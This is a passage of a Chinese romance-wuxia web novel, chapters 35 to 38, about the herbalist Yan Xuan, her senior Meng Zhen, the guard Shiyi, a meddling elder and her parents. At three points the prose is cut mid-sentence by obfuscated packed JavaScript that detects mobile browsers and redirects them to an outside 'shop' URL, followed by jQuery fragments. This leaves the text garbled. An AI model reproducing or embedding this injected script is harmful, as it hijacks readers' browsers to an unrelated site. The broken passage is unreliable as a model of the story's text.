在他用袖口遮住的腕上,晏璇“不经意”见到了好几道抓痕,深浅不一,暗色斑驳。 “晏姑娘……”杜若叹了一声。 晏璇眉一扬:“嗯?” 杜若抿了抿嘴,分别向她和孟珎施了一礼:“当日在下行事考虑不周,让姑娘和先生受到了无可挽回的伤害,杜某只愿将来有弥补的机会,望二位成全。” 说罢,他领着几个小厮退出门去。 晏璇转着笔杆,盯着他的背影,就在他即将跨出门外瞬间,晏璇扬声道:“杜管事,且慢。” 杜若停步转身:“晏姑娘有事吩咐?” 晏璇学他的口气道了声“非也”,她向孟珎递了个眼色,继续道:“今日天热,杜管事又赶了一路,不如喝杯药茶再走。虽比不上贵庄的云雾茶,可也能去火散热,清心明目。” 孟珎用厚纱布端过一旁的药罐,药汁倒入杯中,所谓的茶汤浓黑郁烈,涩味扑鼻。 晏璇碰了碰茶壁,做了个“请”的姿势,笑道:“若不嫌弃,可饮用一杯。” 杜若望着茶碗,热气氤氲下眼神幽幽:“姑娘好意,在下不可辜负。” 他端过茶碗轻轻吹气,待凉了少许,面不改色一口饮尽。 拭去嘴角茶渍,杜若拱了拱手:“二位,在下还要回去复命,便不久待了,再会。” 他面色僵直,脚步匆匆。等所有人离开关上门,晏璇扔了手中紫竹笔,往椅背上一靠。 “和肚子里有墨的人说话就是累,咬文嚼字的。”她嘟囔道。 孟珎眼含笑意瞥她一眼:“那便不咬文嚼字地说话,他不会拒绝的。” “他疑心那么重,不管如何都会觉得我在茶里做手脚下了药。” “解药也是药,你还是心软。” 孟珎一开始可能未察觉,等靠近杜若便发现了迹象,况且那药罐里熬的也不是茶,能去火散热倒是真的。 晏璇没必要瞒着孟珎,她就是明着暗着想找找杜若他们的不痛快。 “我见他道歉还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13749244|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算诚心才……当然我不愿意直说就是了,谁叫我心眼小得很,不出口气不自在。倘若他今天挑明了主动要解药,我可能还不想给了,我这样是不是挺坏的?” “比之他罔顾别人,你未害他性命,算不得什么。” 预料中的回答。晏璇竟是微叹了口气,枉她从前还会扭捏一下,若孟珎知道了她真面目会怎样,结果他分明是自带十级滤镜,觉得她做什么都不过分,这是好还是坏呢? 这时,孟珎将木轮椅推了过来:“要不要试试?” 晏璇望一眼:“好啊。” 孟珎扶着她慢慢从木椅转移到轮椅上,等她坐稳,晏璇试了试双轮的顺畅度。下次在屋里待闷了,可以坐这个去街上逛逛。 在屋里转了两圈,晏璇很是满意。 她笑着抬头:“哎,估计是时少主的亲身体验才能让工匠师傅做得这般完美。” 她语带嘲讽,毫不掩饰的话语让孟珎微睁了眼,师妹是真的讨厌金雀山庄的人啊。那日在明月阁,他还有些意外她的唇枪舌剑,原来只是自己还不够了解她。 “对了师兄,那些药材,你看哪些用得上就拿去。”晏璇道。 “都是你的东西,你自留便可。” “一时也不需要那么多,我就是……借机敲了他们一笔。” 孟珎一顿,拿起药材清单看了一眼,倒是有几味药可以配个方子,对晏璇的腿恢复有益。他迅速拣了药,对晏璇道:“那我去后厨熬点药,你在屋里休息。” “嗯。” 晏璇翻了翻药箱,记得当时她要了两条乌蛇,还担心对方会不会真装了两条活的,结果肉归肉皮归皮的都给她事先处理好了。 时天辰做事周到,她也给了对方最好的伤药,不算白占人便宜。接下来的日子够她折腾一阵,在离开斛县前,她要多准备一些丹药。郦城……到底会是一个什么样的地方呢…… 晏璇写了几张药方,隐隐觉得有些头昏目眩。她下意识看了眼视野上方的生命值,绿色高亮在安全范围,又给自己把了脉,瞧不出什么异常。她索性搁了笔,拿帕子擦干净手,取了一旁食盒里的糕点开啃,或许是早上吃的少,这会有些气血不足。 门外突然传来咚咚咚响声,像是有多人在廊道上奔跑。晏璇放下吃食,转着轮椅到了门口。 透过微开的门缝,只见四五个年轻男女持剑飞快向楼下赶去,他们穿着统一的浅色道袍,似曾相似。晏璇将轮椅退回屋内一点,正要关门,对上一双淡泊如水的眸子,男子匆匆一瞥转回了头,迈步朝前走去。 长剑落在那人的腰际,宝石的光亮划过眼前……是他,峋山派的商陆。 动静这么大,想必客栈外发生了不得了的事,不过,又关她什么事呢。 晏璇关上门,转动轮椅往窗边去,熟悉的眩晕又袭来,她的上半身忽的失力,整个人往一边倒去,尽管她脑袋清醒,却无法阻止一切,轮椅的扶手顶在她的腰上,一阵钝痛。 就在她以为自己要倒在前边的榻上或者地上时,窗口传来“啪”的一声,不及她抬头,晏璇的脑袋撞上一具馨香柔软的身体,有一双手稳稳地扶住了她。 晏璇抬眸望去,蒙着面的人亦瞪圆了眼看她。 “……十一?” “嗯?!” 36. 第 36 章 “想上榻还是去床上?还是去床上吧。” 少女看着劲瘦的手臂揽过晏璇的腰身,另一只手穿过她的膝下,一把将她抱起。晏璇顺势将手搭在了对方的脖颈上,黑色的蒙面巾近在眼前,只稍稍一用力就能扯落。 “你是十一吗?”晏璇问。 “你知道我是谁。”少女低头看她,“不对,通常来说,不都会害怕陌生人的吗?也不对,你胆子好像就挺大的。” 小姑娘一身夜行衣抱着她自言自语,似乎毫不费力。晏璇略微惊奇,伸手指了指她的眼睛:“在密室的时候,我见过你。后来,师兄告诉了我你的名字。” “哦,密室那天对不住。”来人将晏璇放到床上,还替她脱了鞋子,“我以为以姓孟的性子,什么都不会说呢。” 孟珎这个人,除了自己的事,其他的还真不会瞒着晏璇。第二日,他便说了十一的长相特征以及惊人的食量。 晏璇想起不禁莞尔。十一放下她就转身要走,晏璇一把抓住了她的衣袖。 十一低头一愣:“有事?” “上次谢谢你出手帮忙。” “上次?” “城中街上,花盆掉落的时候。” 十一眨了眨眼,眸子亮晶晶的很是不可思议:“咦?原来那个时候就被你发现了?” 其实也不算,毕竟小九都没发现。只是当知道暗中有这么一个人的存在,晏璇心中的一些疑惑就有了猜测的方向。 她撑住上半身靠在床头,近距离瞧了小姑娘半晌,直到对方悄悄地想要扯回自己的袖子,她温声软语道:“我能问是谁让你来……护着我的吗?” “能啊,反正我又不会说。”十一瞥了她一眼,揉了揉眉心,“其实,我也不知道,都是上头的命令,哈哈……” 晏璇:“……”这孩子有一种别样的令人无言的实诚。 花奕说过,排名一堆且做着暗中护卫行当的,很可能出自莫问楼,他们有一支神秘的影卫队,队员各个身手不凡。上一次她偶然遇到一个,大概只是同组织的,杀气那么重不像影卫。总觉得,小姑娘对她有一些不一样,说不上来缘由的,即便知道她手无缚鸡之力没威胁,照常不会是这种说笑的姿态。 “你是莫问楼的人?” “……我走了。” “哎,等等。”晏璇险些失笑,她指着放在一旁的食盒,“这附近点心斋的糕点特别好吃,要不要尝尝?” 眼见着小姑娘的耳朵动了动,眼睛往一边瞟去。 “奕姐姐和师兄他们都不在,坐下吃些吧,我一个人也很无趣。”晏璇道。 “哦,好吧。” 小姑娘也不拿多,就拣了两块红豆糕和一块枣泥酥,坐在圆凳上,掀起面巾一角就往里塞。 “十一,你是莫问楼的人吧。” “……”她恍若未闻,只是一点点挪动屁股,越坐越远。 能说出自己名字,不敢承认自己的来处,该不是莫问楼有什么奇怪的规矩,例如凡在外者不得提及组织之类?毕竟他们的口号就挺唬人的。 “你的意思我明白了。”晏璇点到为止,从百宝袋掏出一物,小巧玲珑,玉质温润,“这玫玉铃铛是你们……楼中某个人的,不知你见过没有?当初因为一些缘故到了我手里,我想着怎么还回去才好。” 十一停下进食的动作,紧盯着她掌心眼神闪烁,显然是认得此物的。 晏璇:“你觉得我该怎么做?” “这是……大哥的贴身之物,他找了很久。”半晌,十一松了口瞥她一眼,“我曾想从你这偷回去的……” 那毒伤男子是她大哥?两人气质上一点不像,估计是名义上的大哥。晏璇从她眼中瞧出些怨念,也有些讪讪,不问自取确有着道德上的问题。 “对不起啊,既是你哥哥的东西,我便交还给你,替我向他说句抱歉。” “也不用说抱歉。其实,他想当面和你道谢再把东西赎回去。要不是你,他那条命能不能保住还是问题。” 那日情形是危急了些,耗费了晏璇不少好药,她不是个做好事不留名的,拿了人家的东西也没觉得多亏心。后来……晏璇低头看了眼腰间的银铃铛,有一个对方真心送她的就够了。 “你能现身这般主动同我说话,是因为我救了你哥哥的缘故?”晏璇猜想。 “半年见不到阿爹,我原不想接这个任务,可你对哥哥姐姐们有恩,他们说你是个好相处的,我见着也是。索性让你晓得我在身边,有时候还好办事。”她起身,用帕子擦了擦手,从晏璇手里拿过了玉铃铛,“这个,我先拿走了,我身上暂时没什么值钱的,过段时日再补一份谢礼。” 哥哥姐姐……们?晏璇不动声色,咀嚼着十一话中意思。 十一收好东西,搓着手有些不好意思道:“我能……再拿两块红豆糕吗?” 晏璇笑了笑:“可以啊,你喜欢红豆?都拿走也没关系。” 看她年纪还是个在长身体的孩子,也不知道暗卫平时都藏在哪,日晒雨淋想必很辛苦。 十一开心得双眼微眯,她照旧拿了块帕子包糕点,边打包边道:“你这人怪好的,平日里看着也挺聪明的一个人,可也免不了没什么江湖经验被人骗。” 晏璇:“……” 被一个小姑娘这样叮咛还挺怪的,不过她什么时候被人骗了?哦,被杜若那老小子忽悠了。 “就说那个姓同的,莫名殷勤,你还需小心些,要是觉得有危险就大声喊我。” 晏璇对同珩一开始确实是防备,然而他表现得太明显反而让她有了别的疑惑,除去小时候的误会,他似乎没做什么对她不好的事。不论是提醒她周遭有危险,还是请她吃饭,甚至第一时间赶到她遇险的地方,这两日也是时常看望她给她带损伤膏药,那些焦急紧张的情绪若是假的,那这人的演技未免太好。所以,晏璇心里默认了他是把自己当成了寄托亲人感情的对象。 可师兄和十一都叫她小心,她就听听别人是怎么想的。 晏璇低头沉思,斟酌道:“你觉得同叔……哪里不好?若他是别有用心的,他在我身上能图些什么呢?” 十一看了她一眼,在屋里踱起步来,然后又瞄她一眼,不知在为难什么。 晏璇:“有话请直说。” “唔……我怀疑他图的就是你。” “啊?”晏璇呆了一瞬,脑袋里像是降下一道天雷。 “灵山派掌门廖雪遥听过没?哎,你不是武林中人肯定没听过。廖老头当年行走江湖的时候,看上了一位比他小十二岁的商户千金,听说也是死缠烂打的,后来那人就成了掌门夫人。我看姓同的也大差不差,你长得……也算小家碧玉,他想老牛吃嫩草自然是要使出浑身解数,在你面前好好作为。” “啊……”晏璇这会被雷得个彻底,要不是她有前几世的记忆兜底,她得被吓得从床榻上跳起来。 她扶着额头苦笑:“你怎么看出……论起年纪,他都快能做我爹爹了,我只是长得有些像他的亲人,总之,你想岔了。” 十一似是失望般摇了摇头:“他说你长得像他的亲人,我还说你长得像我娘亲呢,这男人的话最是不能信。” “我真的和你娘亲长得像?” “没有,我就打个比方,其实你长得有点像我阿爹。” 晏璇:“……”她为什么会和小姑娘把话题扯这么远的。 “哎呀,我不骗你。你笑起来的时候,那嘴角和我阿爹可像了,那我是不是也能跟你认个亲?真是荒谬。” 晏璇看她气急败坏,知她是在为自己着想,只得笑叹一声。 “好好,我知道了,我会小心……姓同的。” “你真的要小心他。”十一凑近了些,“我看到他找姓孟的谈话,还叫姓孟的离你远些,不准他喜欢你。我在江湖跑了这些年,还没见过他这么脸大的,果真是无耻呢。” 同珩找师兄警告他离自己远点,不准喜欢自己……晏璇瞪大了眼睛,她这是又听到了些什么奇葩的,同叔怎么像一个抓孩子早恋的长辈。 十一看到晏璇难以置信的表情才放了心:“这回该信我说的了吧。” 晏璇揉了揉额角,这眩晕的症状似乎还没好啊。 恰好此时,房门那传来了叩门声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13782648|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我走了。”十一低声一句,只见窗户晃动,一个黑色身影飞快窜了出去。 晏璇理了理被子,道了句“请进”。 “嗯?小晏,只你一个人在房里?方才我听动静,以为你师姐也在。”司珩推开门,提溜着一个纸包进了屋。 “呃,金雀山庄的杜若送了些东西过来,我收拾的时候,可能没注意自言自语来着。” 晏璇腼腆一笑,悄然间打量起司珩,他为什么要去找师兄说那些话?孟珎喜欢她……她也是最近才察觉的,那个人冷面冷情,却在意识不清时,眼神迷离地喊她不要走,说什么想她的话,任谁都不会会错意……只是,孟珎真的喜欢她吗?他们在一起生活多年,他没怎么见过其他的女子,是不是将对她的亲情误会成了男女之情…… “怎么叹气?”司珩坐到桌边,替她将桌面收拾妥帖,“是那姓杜的说了什么?” “不是。”晏璇摇摇手,“同叔来是有什么事找我?” “给你找来了一副治腿的偏方。”他指了指带来的药包,“还有另一样想给你看的东西。” 晏璇看着他,想起十一那些话才觉得荒谬,同珩怎么可能是因为看上她……可同珩这般超乎常人的热情又让她很是困惑,一个人真的会因为对方的长相转移感情吗? 她没琢磨出什么,倒是发现同珩一脸倦色:“同叔,你脸色不好,没休息好吗?” 司珩摸了摸下腹,无奈摇头:“昨日不知吃什么坏了肚子闹了一宿,眼下已经没事了,放心。” 晏璇点点头,什么东西会比她当日下的泻火药还厉害……同珩会些医术,会不会那日发现她动了手脚解了药性?可她记起当时他的反应又不像,总不会是他身怀异能或者也拥有奇奇怪怪的体质吧,晏璇还不想傻乎乎地把自己供出去问对方,叫人都知道了她是个毒心肠的。 司珩轻咳一声,突然从袖口拿出一卷黄麻纸。 晏璇见他脸上带着莫名的轻笑,类似愉悦的神态,疑惑道:“这是什么?” “你打开看看。”司珩将卷纸递给她。 晏璇接过小心打开,只因这纸张看着不小心就能扯破,缓慢展开后,她发现这是张悬赏寻人告示。 “若有人寻得此人行踪告至雷霆山庄赏银百两……” 晏璇默念着榜上文字,再往下看,是寥寥几笔便勾勒出神韵的一张脸,画上男子眉目冷冽,嘴角微抿,一股遗世独立的出尘气质,他飘荡的发束由一支簪子定住,那是晏璇见了多年的腾云木簪。 “当初见你师兄我便觉得眼熟,最近才想起来,雷霆山庄张榜寻了许久的人不就是他。”司珩一手环胸,一手摸着下巴笑道,“陈晟要找他女儿的救命恩人,只因小姑娘看上了你师兄,武林盟主的女婿可不是谁都能当的。” “哦。”晏璇默默将告示重新卷好。 “只是‘哦’?”司珩哽了一声,“那小子在外头有了艳遇还一副云淡风轻的模样,谁知道他还瞒了你什么,莫不是要等人家找上门了,你才看清他是什么人?” “同叔。”晏璇将告示递还给他,“谢谢你告知我此事,师兄在外头救了什么人我确实不知,可这一切与我并无多大关系。” 司珩拧起眉,苦口婆心道:“怎会没关系,他天天在你跟前不安好心,还和外头的人牵扯不清,我不同意你与这种品性的人过多来往。” 他不同意……晏璇心中升起异样,同珩正如十一所说,似乎很反感孟珎与她一起,如今竟主动在她面前摊牌,可是为什么呢? 晏璇嘴角微扬,笑中带了冷意:“同叔,师兄什么品性我还算了解,你不必如此紧张。至于他与外面的人如何那是他的事,他要不要去做武林盟主的女婿也是他的事,他瞒或不瞒皆是他的自由,我只是他的师妹而已。” “喂,姓孟的,你干嘛端着药不进去?”门口忽的传来花奕的大嗓门。 晏璇的心口跟着一跳,怎么就挑这个时候来。 司珩瞥了眼房门,脸上一扫之前的不耐,昂起头神清气爽。 见他这副自得欠揍的样子,晏璇忍不住狠瞪了他一眼。 司珩:“?” 37. 第 37 章 晏璇本是侧着身子坐着,腰背上的神经像是突然受了刺激,痛得她一个激灵,酸麻的感觉更是一股一股往外涌。 她瞪着司珩的眉眼,因为身体抽痛的关系,一瞬间皱作一团显得有些狰狞。 司珩脸上笑意微僵,忐忑地问她:“怎么了,哪里不舒服吗?” 晏璇捂着后腰表情发怔,司珩原本还在为晏璇撇清跟孟珎的关系而心生喜悦,这会担心是不是出手太急,下药过猛,他应该循序渐进让晏璇看清自己的感情。 晏璇抿了抿嘴,身上确实有些不爽,她拿不准是不是自己猜的那样,心底有着久违的焦躁感,身上软绵绵的酸疼难受。 她解了一旁挂起的床帐,掀开被子背过身去:“同叔,我有点累想再睡会。谢谢你带来的药。” 晏璇这副恹恹的模样,落在司珩眼里,俨然一副深受打击的萎靡不振。他一边有着窃喜,一边又有些不忍,最终还是觉得长痛不如短痛,一个男人而已,待她想通了就好,接下来他再寻些逗趣的东西,哄她一哄,这事就过去了。 司珩心中有了计较,对晏璇道:“那好,你先歇息,我之后再来看你。”说着,他把卷好的告示放在了桌上最中央显眼的地方。 晏璇一手枕在颈下,一手在肚腹上打圈着揉搓。她听到房门被小声打开,同珩对着外面的人交待了什么。随后,房门再次被关上,几人脚步轻浅地走了进来。 “这个姓同的怎么回事?不过是路上偶然结识的陌生人,好似跟阿璇熟得很。”花奕哼了句,走至床前,“阿璇,那人走了,我知道你是为了打发他,围着个帐子别把自己热昏了。” 花奕撩开帐子,头往里一探,笑道:“看吧,你都要冒汗了。” 晏璇咬了咬牙,实是无力反驳,腰腹处像是无数个小锤子在捶打,内里的撕扯犹如要生生剥下一层血肉。她疼得有些发昏,心中仍是懵的,原以为这具身体被药坏了,即使是师父都没能治好,本是十三四岁该来的初潮到了十八岁都没动静。晏璇一开始就没当回事,然而此刻才忽然明白当初爹娘为什么一心想给她招婿,只是招婿,从来没说是让她出嫁。 花奕重挂了帐子,再看眼晏璇,发现她一动不动,肩颈却是微微颤着。她这才觉出异常,惊呼道:“阿璇,你怎么了?” 花奕忙将她扶起,晏璇闭着眼,脸色已是煞白。 孟珎正端药垂着头站在桌边,愣愣地看着那卷黄麻纸。听得花奕动静,他一惊之下清醒过来,忙搁了药碗跨步向前。 “姓孟的,你快给阿璇看看。”花奕急道。 晏璇抓了一把花奕的胳膊,想开口说又不知如何说起,她从前的经验少,印象中没有疼成这般头昏目眩的,随着那股隐秘的疼痛,似有暖流直往下流。 孟珎蹲下身,旋即给晏璇搭脉,眼中只剩焦急,小心翼翼问她:“哪里很疼?腿,胸口还是从前的旧疾?” 晏璇摇摇头,她半睁的眼扫过孟珎端正的脸,想他不久前还给自己洗过衣裳虽然不是贴身穿的,从不觉得不好意思的她生出了一丝赧意。晏璇深吸一口气道:“是肚子疼,我……好像来月信了。” “啊……”花奕轻呼了一声。 孟珎一愣,似是思考了一瞬,面色虽未有异样,耳尖却透出点红,他定了定神再次问道:“除了肚子疼还有哪里不舒服?” “身上酸胀得很,头很晕……大概是第一次的缘故。” 说完,晏璇侧头埋进了花奕胸口,她也不知怎了,暂时无法将孟珎当作寻常大夫看。这种时刻,她还能有羞涩这种情绪,她自己都觉得匪夷所思。 “好,别担心,我去给你煎点药。”孟珎站起身,端来了桌上的汤药,“可以先把这碗治腿伤的药喝了。花师姐,麻烦你照料一下师妹。” 等花奕捧过药碗,孟珎将跟在身后的晏曜一起带出了房间。 药还是温热的,晏璇喝着刚好,肚子的疼痛也压下去少许。 “阿璇,那个……我去一趟自己的房间,刚好我行李里备了那个。”花奕有些懊恼地锤了下自己的大腿,“我个憨货,刚刚嚷那么大声干嘛,都叫姓孟的看笑话了。” 晏璇忍痛笑笑,语气虚得很:“没事的,师兄是大夫,这种事很常见。” “虽然……可是他,哎呀真是的,我走开一会马上回来。” 花奕风风火火地跑去,又风风火火地跑回,然后帮着晏璇把衣服重新换了。 “还是很难受?”花奕侧坐在床上给她揉肚子,“你身体一向弱,这回受了伤又是迟来的第一次,可想能有多疼了。” 别人都是把身体养好了才会来,她倒好,这阵子一顿折腾快把人搞残了,开始雪上加霜。晏璇喝了口热水,叹道:“我没想过自己也有这么一天。” 花奕讶异,垂眸半晌,随后由衷笑道:“现在这样也是好的,以后只管好好养着。” 晏璇瞧着她的笑颜,知道花奕是真心为自己开心,她不好再说自己其实从未期待过能好,更别说些对于此间世人有些骇人的话题。 “方才我见你那样,还以为姓同的对你做了什么?”花奕道。 “他?”晏璇的视线落在桌上,“他送来了那个。” “什么?”花奕转头看到了那一卷黄纸,起身将它拿了过来。 “咦,这不是我之前下山看到的告示?”花奕将卷纸展开抖了抖,“那回你邀我上山喝酒,我就打算问的,结果稀里糊涂的就把这事揭过了。” “原来那么久了。”晏璇道。 “是啊,姓孟的还说不知道,他做过什么能不知道?”花奕就是受不了孟珎那个破性子,一问三不知。 晏璇是不信司珩添油加醋的说辞的,榜上的内容也不过说了有这么个人救了盟主女儿,他们想找孟珎很大可能只是为了还恩情。 “师兄说不知,大概是不知道对方在张榜寻他。同叔说,雷霆山庄的陈盟主,其实想招师兄为婿。” 心里怎么想是一回事,嘴里说出来的又是一回事,晏璇都不知道自己复述这种谣言式的话茬意义何在。 “招他为婿?”花奕忍不住哈哈大笑两声,“据我所知,陈大小姐曾扬言要找一个文韬武略、渊渟岳峙的大圣贤,陈晟又是个宠女儿的,怎么着都会听她的。不是我看扁你师兄,他哪点对得上人家的喜好,光是那木头倔脾气,陈庄主就看不过眼。” 晏璇眨了眨眼:“哦,小姑娘的心思易变,或许就上了心呢?” 花奕双眼微眯,目不转睛地看她,直盯得晏璇后背刺挠。 晏璇抿抿嘴:“姐姐为何这样看着我?” 花奕恨铁不成钢般摇摇头,大叹一声道:“我见你被姓孟的蒙蔽了双眼,我恨呐……怎的他在你眼里就那般好,还成香馍馍了?” 晏璇:“……”她貌似也没说什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13802039|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “算了,其实我也理解。从前在雾山就只有他一个对你好的,大事小事上也算周到,你和他呢朝夕相处,自然觉得他不错是个好兄长,对他有所仰慕也没什么。” 花奕拍了拍她的肩:“没事,往后会遇到更多更好的,你就会发现他也不过尔尔。” 晏璇垂眸,不置可否。世上的好男儿或许有很多,可未必是向着她的。孟珎的内伤怎么来的,晏璇很清楚,然而他们两个都没提起。一个觉得没必要,一个则是一直在逃避。 那样屡次的奋不顾身,晏璇不知还会在谁身上遇见。孟珎的感情,扪心自问,她从前真的一点都毫无察觉吗?不是的,她只是不在意、不相信,她这样虚伪的人随时都能对谁演出几分真情,孟珎算什么。 如一场酝酿了许久的雨,要下不下,忽然一个闷雷响过,雨丝犹如清凉甘露滋润大地。司珩的故意为之也好,花奕对她的这番劝导也好,反而令晏璇看清了不少。之前她怀疑过孟珎情感错位,可她自己呢,则恰好相反,她从来就没有将孟珎当作兄长。 爱慕未必,心动却早有它的痕迹。 晏璇忽然就懂了自己那些别扭的举动以及阴阳怪气的问话,她会心一笑:“奕姐姐,我明白的。” 没过多久,晏璇就在花奕不断地按揉下沉沉睡去。 等孟珎再次端着药回到房里,花奕正坐在桌边冷冷地睨着他。 “我救那人时不知她是陈玄灵。”孟珎低声道。 “什么时候的事?” “去云州的时候。” 花奕闭了闭眼,阿璇和孟珎的那点心思她会看不出?不过是睁一眼闭一眼装傻罢了,总想着或许将来能遇到更好的人。她望向熟睡中的晏璇,不甘道:“阿璇没怀疑过你。那个姓同的搅事,她以为陈大小姐看上你了。” 孟珎眉头深皱:“不可能。” “我管你。”花奕不耐地“啧”一声,“反正你要是惹阿璇伤心,我不会放过你。” 孟珎一怔,疑惑地看向花奕,眸底似深海中照进一缕光芒熠熠生辉,他无比震惊于她话里的含义。 他大爷的,这会不像个木头一样笨了。花奕烦躁地抓了下脑袋顶上的头发,咬牙低声道:“看什么看!给我在这好好守着!” “师姐,你在这就好,药要是凉了,可以用房里的小药炉热一下。余下的……我来收拾。”说着,孟珎绕到屏风后的净手处,把晏璇换下的脏衣绢帕等装进了木盆。 “你!”花奕梗着脖子微红了脸,想说的话太多,最后哼唧道,“若是别人,早叫你吃刀子了。” 花师姐,师姐……这称呼换的,真叫人火大! 花奕叹了声,坐到床边摸了摸晏璇的额头:你是不是就吃他这一套?罢了,我替你多盯着点,要是将来你不喜欢他,我是怕了那小子会疯成什么样…… 司珩回到安置在南塘的住处,一个穿劲装短打的男子正候在檐下。 “同哥。” 司珩点了点头:“查得怎么样?” “晏家在斛县扎根二十几年,晏姑娘是他们唯一的孩子,从小体弱,大约九年前,晏姑娘十岁光景,他们送她去了北地求医,最近才返家。然而,在晏姑娘归家那些日子并不太平,市井中也有其他流言。” “哦……”司珩一顿,浓眉微微蹙起,“你且详细说来,不要漏了一星半点。” “好。” 38. 第 38 章 天气渐热,斛县即将入暑,晏家的几间铺子在换季时较往常忙碌些,晏时蕴两夫妻奔波了一上午,剩下些归整的活交待给伙计们,两人便回了宅院用饭。 膳食通常由阿婆料理,小荷打下手。晏璇不在家,夫妻俩也没有特别交代,午膳就是简单的两个菜再加饭后一道汤点。 卢晚茵喝了一口乌梅汤便放了汤匙:“阿婆今天的汤熬得真好,酸甜可口,要是阿璇在能喝两大碗。不过她脾胃虚,要看着她少用些,如今她在外头……” “阿璇和孟小子都是学医的自会留心,况且阿璇在雾山的时候不也好好的。”晏时蕴接道。 “哪能一样。”卢晚茵瞥他一眼,叹道,“在雾山还有孟老先生看着呢。” 晏时蕴轻笑,凑近卢晚茵拍了拍她的手背安抚:“你这是胡乱担心,之前还说让女儿好好去游历一番,这些细枝末节的过虑了。” 卢晚茵无言瞪他,缓缓抽回了自己的手:“也不知道是谁在女儿走的当晚,辗转反侧一夜无眠。”她是怕孩子到了外头受太多诱惑,好不容易养好的身体,可别因为一些小事疏忽吃了大苦头。 “这……”晏时蕴的笑尬在脸上,讪讪道,“如今我不是想通了……夫人且安心,我找素慧大师给阿璇赐了福,万事顺遂。” “我也没有那么贪心,少病少灾就谢天谢地了。” “夫人说得是。” 夫妻俩又说了些话,林靖从堂外大步而来。 “老爷、夫人,小姐有来信。” 卢晚茵一下站起了身,欢喜道:“阿璇寄信来了?” “是。”林靖将一支细竹筒递上。 卢晚茵取了信筒,小心取出信纸展平,女儿竟写了三张多,她坐到桌前仔细读信。 “闺女在信里写了什么?”晏时蕴挨近道。 卢晚茵侧了身子没理他,晏时蕴只得巴巴看着。 林靖忍不住露出些许笑意,等敛了神又是那副不露声色的模样,才道:“老爷,新招的护院就在院外,等你亲自一见。” 晏时蕴看了眼妻子含笑的嘴角,笑叹着摇了摇头,随后给林靖使了个眼色,两人一起向院外走去。 “两位大哥,一位来自安城曾做过其他人家的护院,一位来自碌城学过几年武,两人在斛县都待了五六年,身家干净。”林靖边走边道。 “你选的定没什么问题。这些年,家里的安宁一直都靠你,我和阿茵都习以为常了,是该听阿璇的请了人来,你也好多歇息。”晏时蕴道。 林靖摇头沉声道:“老爷和夫人予我的恩情我无以为报,也并未觉得有多累。小姐走之前所担心之事并非臆测,最近斛县不大安宁。” “什么不安宁的,是有不速之客上门来了。”晏时蕴脚步渐缓,望向林靖,“之前,我与阿茵猜测阿璇的生身父母那边有人找来了,很可能还与她碰了面,这事还未来得及跟你详说。” “那孩子瞒得紧,你可有觉察到异样?”晏时蕴问道。 林靖一顿,他早已从自己徒弟那知晓了原委,当日还与他一同去了那闲置的宅院。对方做事看似嚣张招摇却也留了几手,任他如何追查都未能找出是谁将那宅子买下,孟珎描述的那些人的出手招数也是杂乱无章,很难知道是出自哪门哪派,或许只是打行混饭吃的一般护卫。 而晏璇,他眼里的小姑娘,曾经不想让她过早知晓的险恶世事与人心,她自己已有了一套应对之法,仿佛从小看到大的孩子一夜之间就长大成人了。林靖无须追问,就配合着接了那瓶保命的丹药。她想护着的人亦是他要守卫一生的人。 “小姐自小性子沉静,又过了撒娇任性的年纪。”林靖斟酌道,“心里有事若是她能解决的,自然不会多说了。老爷和夫人猜测的那件事无论真假,她始终是靠向你们的。” 晏时蕴:“何以如此肯定?” 真是当局者迷。林靖微叹道:“倘若不是,那孩子为何要如此担心晏家?” 晏时蕴背了手,沉出一口气:“阿靖你说得对。我总觉得孩子大了,心里有话也不愿与我和她娘说了,时常会觉得有些遗憾,若是当年我们一家三口能一直在一起就好了。” 他望着庭院中红花如霞的合欢树,犹记这是阿璇来的那年从别处移栽过来的,只因听人说此树会带来好运,保佑子女康健,如今已是枝繁叶茂,树冠如伞。 晏璇对林靖而言何尝不是他孩子般的存在,抛却过往,晏家就是他的一切,他默了默道:“世间事大多难全,能有如今这样的结果已是极好,小姐敦厚是因有老爷与夫人的爱意抚养,将来事不可惧。” 孩子的身世,晏时蕴与卢晚茵已打算等她从南塘回来就告之,只是每每想到孩子离开的可能,心中难忍。晏时蕴眨去眼角湿润,缓缓点了点头。 很快,两人见了护院,面谈过后便订了契书。 卢晚茵将晏璇的来信通读了两遍,知道女儿一切安好,她的心也就静了。晏时蕴接过信,边看边瞄到妻子喜滋滋地喝着乌梅汤,心底无限感慨:“还得是阿璇的及时信,不然你夫君说干了嘴皮也是枉然。” “你若是口渴,也可再来一碗。”卢晚茵道。 “那酸溜溜的滋味,我便罢了。女儿在信里说了,要我多喝茶。”晏时蕴挑了挑眉。 